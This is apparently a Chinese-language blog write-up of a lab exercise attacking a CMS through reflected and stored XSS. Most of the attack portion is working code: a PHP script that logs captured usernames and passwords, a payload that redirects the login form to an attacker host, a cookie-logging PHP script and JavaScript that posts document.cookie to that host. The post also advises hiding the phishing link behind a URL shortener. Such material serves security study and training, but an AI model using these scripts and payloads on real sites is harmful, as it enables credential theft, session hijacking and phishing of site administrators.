• CMS 文件管理系统:XSS 漏洞获取密码和 cookie


    XSS 漏洞查找

    反射型 XSS

    反射型 XSS 的恶意代码不会存储在远程 web 应用程序中,而是会马上被触发。进入页面,使用搜索功能,可以看到使用的是 GET 方法传参,用于搜索的参数是 keywords 和 button。

    直接向 keywords 传递参数“”,由于参数被传递进入后会被直接执行,所以可以看到我们注入的脚本执行成功。

    存储型 XSS

    进入留言功能界面,输入 payload “”,这句代码会回显 cookie 信息。

    编写完成后,完成提交。

    上传成功后,进入管理员后台管理系统,可以看到一打开查看这个留言,XSS 攻击就被触发返回 cookie 信息,攻击成功。

    利用 XSS 获取管理员账号

    攻击思路

    编写获取账号信息的 php 脚本,获取用户输入的用户名和密码,完成修改表单提交对象的攻击。攻击的步骤如下:

    1. 编写获取账号密码信息的 php 脚本 save.php,存放在攻击主机的网站目录下,通过 save.php 获取到的用户名和密码存放在 save.txt 中;
    2. 将页面中登录按钮提交表单的 action 地址改为攻击主机中 save.php 的地址;
    3. 使用短网址生成网页, 不让对方容易察觉这是一个钓鱼网站。

    生成并放置攻击脚本

    首先先查看一下网页的源码,看看登录界面输入的是哪些参数,分别是 username 和 password。

    编写用于接收用户名和密码的 php 文件,将用户名和密码写入文件后跳转到登录界面完成工作。

    <?php
    $username = $_POST['username'];
    $passward = $_POST['password'];
    $result = fopen("save.txt","a");
    fwrite($result, $username.'+++'.$passward."\n");
    fclose($result);
    echo "<form style='display:none;' id='form1' name='form1' method='post' action='http://192.168.176.134/admin/login.action.php'>
        <input name='username' type='text' value='".$username."'/>
        <input name='password' type='text' value='".$passward."'/>
      </form>
      <script type='text/javascript'>function load_submit(){document.form1.submit()}load_submit();</script>";
    ?>
    

    将获取用户名和密码的 php 文件放在攻击网站的目录下,此处靶场在虚拟机,将 php 文件放在主机的站点下。

    修改表单提交地址

    接着检查页面中登录按钮提交表单的 action 地址,改为攻击主机中 save.php 的地址。

    要做到这点需要使用反射型 XSS,利用 username 参数向它注入一段 JavaScript 脚本。

    ?username=<script type="text/javascript">var x=document.getElementById("myform");x.action="http://192.168.9.97/save.php";</script>
    


    意到直接输入会乱码,以为此处将嵌入一个 input 标签,因此需要将这个标签的前后闭合。我选择使用 p 标签闭合后面的尖括号,这样 payload 脚本就准备好了。

    ?username="><script type="text/javascript">var x=document.getElementById("myform");x.action="http://192.168.9.97/save.php";</script><p id="234
    

    生成短网址

    使用短网址生成网页, 不让对方容易察觉这是一个钓鱼网站。

    攻击测试

    模拟管理员登录系统,输入用户名和密码后进行登录。

    由于攻击脚本保存完用户名和密码后会重定向到登录验证界面,且可以使用 post 发送用户名和密码,所以管理员可以正常登录。

    可以看到攻击脚本已经获取用户名和密码了,使用 XSS 获取成功。

    利用 XSS 获取 cookie

    攻击思路

    在文章管理系统的留言板上发表 JavaScript 语句,用来盗取管理员的 cookie。攻击的步骤如下:

    1. 编写盗取 cookie 的 php 脚本 cookie.php、js 脚本 xss.js。存放在攻击主机的网站主机的根目录下,通过 cookie.php 获取到的用户名和密码存放在 cookie.txt 中。
    2. 在文章管理系统的留言板上发表留言内容为 javascript 语句,当管理查看时触发 js。

    生成并放置攻击脚本

    首先先编写保存 cookie 的 php 脚本。

    <?php
    $cookie = $_POST['cookie'];
    $result = fopen( "getcookie.txt" , "a");fwrite($result, $cookie." \n");
    fclose($result);
    echo "Cookie Success ! ";
    ?>
    

    然后编写获取 cookie 并发送的 JavaScript 脚本,脚本得到 cookie 之后将发送给 php 脚本进行保存。

    function getCookie(){
        var url= "http://192.168.9.97/cookie.php";
        var data= 'cookie= '+ document.cookie;
        var getck=new XMLHttpRequest();
        getck.open('POST', url);
        getck.setRequestHeader('content-type','application/x-www-form-urlencoded');
        getck.send(data);
    }
    getCookie();
    

    将这两段攻击脚本放在网站根目录下。

    利用存储型 XSS 漏洞

    接着提交留言,在留言板界面嵌入 JavaScript 脚本,远程包含我们放在自己站点下的获取 cookie 的脚本,包含后就会自动执行。

    提交留言,系统提示留言成功。

    攻击测试

    管理员打开留言管理界面,什么都看不到,但是已经将 cookie 泄露出去了。


    在管理员界面按 F12 查看源码,可以看到网站已经将远程包含 js 文件的操作执行了。

  • 相关阅读:
    JAVA入门之开发环境搭建
    webpack 打包json文件,报 Unexpected token, expected ";"错误解决方案
    node.js Linux下Date.prototype.toLocaleString()仅支持英文的坑
    Javascript高级程序设计之DOM
    JavaScript高级程序设计之客户端检测
    JavaScript高级程序设计之事件
    JavaScript高级程序设计之BOM
    JavaScript高级程序设计之函数表达式
    JavaScript高级程序设计之面向对象程序设计
    FileReader对象——如何实现File中数据的读取
  • 原文地址:https://www.cnblogs.com/linfangnan/p/15780624.html
Copyright © 2020-2023  润新知